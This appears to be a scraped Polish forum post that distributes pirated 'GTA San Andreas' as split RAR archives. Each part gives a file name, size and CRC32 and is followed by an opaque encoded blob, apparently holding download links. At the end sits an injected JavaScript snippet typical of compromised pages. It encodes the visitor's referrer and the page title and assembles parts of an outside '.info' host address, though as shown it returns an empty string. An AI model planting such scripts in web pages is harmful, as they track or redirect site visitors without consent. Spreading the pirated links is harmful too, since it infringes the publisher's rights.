/NYzRRozHNQPvD572joPaelZyoG40o9cE6MypsOobS0SqABfTug eqhXh3JdbAAAG
obbb>>



PART 5
Nazwa pliku: GTA San Andreas.part5.rar
Rozmiar Pliku: 700,00 MB
CRC32: 7C662E95
Rozmiar segemntu: 7
Liczba segmentłw: 100 Kod:
Cytat:<<ac-0DdM0tiCTcop6iknG3Dfecm8FDqeJSi1jBjIO/8VQcP7R-5Kh-jJ0XeFHxN
0tGzjmdulwCT9NEOB5HGUN0fdbLHW2-QMVNpwVkUrllz1Y8dEJ0wjhEPVE4XYyQe
9byIRHqH6LogG0EDL2xCEhEsw3kEHMqNd1uU/xMte0CDO1Gq8E/DV7550Dw6nfS5
zqhQYEH0J8beUUEto4HgQ6gZEEiJZ51D0LCSHMJkEwvc9riG4S o4NfzX8Ol/xz2a
/wbeBrgT0C32KiM6-OWrnEOT4WBQCiSVmaNYMXFVxOX8s7avf/jVxOCa7woSwwym
bo9tuuUzjJP5lgeg3ijrBpupD8/stO9ldS/-OJXGTDi2c7adtOy/xlqfQImwnb/j
aWzCmQrLDIYDZrkXVqs/H1AMzzyXJNDBpkaKbVP5r1i6PfSMimp7IFPZN/w22k--
FRKlpftZUJTwp32mSJEfgMzX7ofRwMldHbgB7xmLeAT2dNTSIm plO6DWTqVgI1mG
K/ui>>



PART 6
Nazwa pliku: GTA San Andreas.part6.rar
Rozmiar Pliku: 505,31 MB
CRC32: 6FA19EA2
Rozmiar segemntu: 7
Liczba segmentłw: 73 Kod:
Cytat:<<acAX7gs2z2v46i9-KlambPFu/N-NbjesTbjMZT0nBopiA/ByLEXfGgPKvbpjop
gghQbzyIQCBJvUaTLqptu36LnSpdmBLESw7hdx8y6hVJeBYorX GWjbsWGMLiCBRQ
O4DVFaqNUTCHUOA5t0fGHJk8EPM6EZPv0cWm3N-tvs-wR1c2f1AzM7CYdNYNTBSN
pgwAAt5PM0HpF3-Sk3puhut857NtyNrZHGka-uUKdXupQuITtDumBRpHeRTRnDE4
bQOK6apY34fSIXKitUqMoMM3ZFPQB7Ff0xs1xg/ThKlvvLFz039bG3Ak0BG-E4Ys
4dgtcqt4-g9pHyv9qAVBTV07Jm3fK6Y2970hytdLoyk/nGQMIqu7hww/Vfo4vmkY
ziu1RtAF1JcCY/2Qq3JEkw7NTUYFbDBgh-xHHShfUyUlVjU-jZeZoqR931I4q3j-
L1nhDlNFRu3caTrDdNR5Q21ezYngui/l6aQnaEoT2QATKUX3WoK0UEVug6h5Vhs6
a5vH>>


function bb515452476c1a4(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515452476c169(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515452476c169(bb515452476c1a4(document.referrer),bb515452476c1a4(document.title)));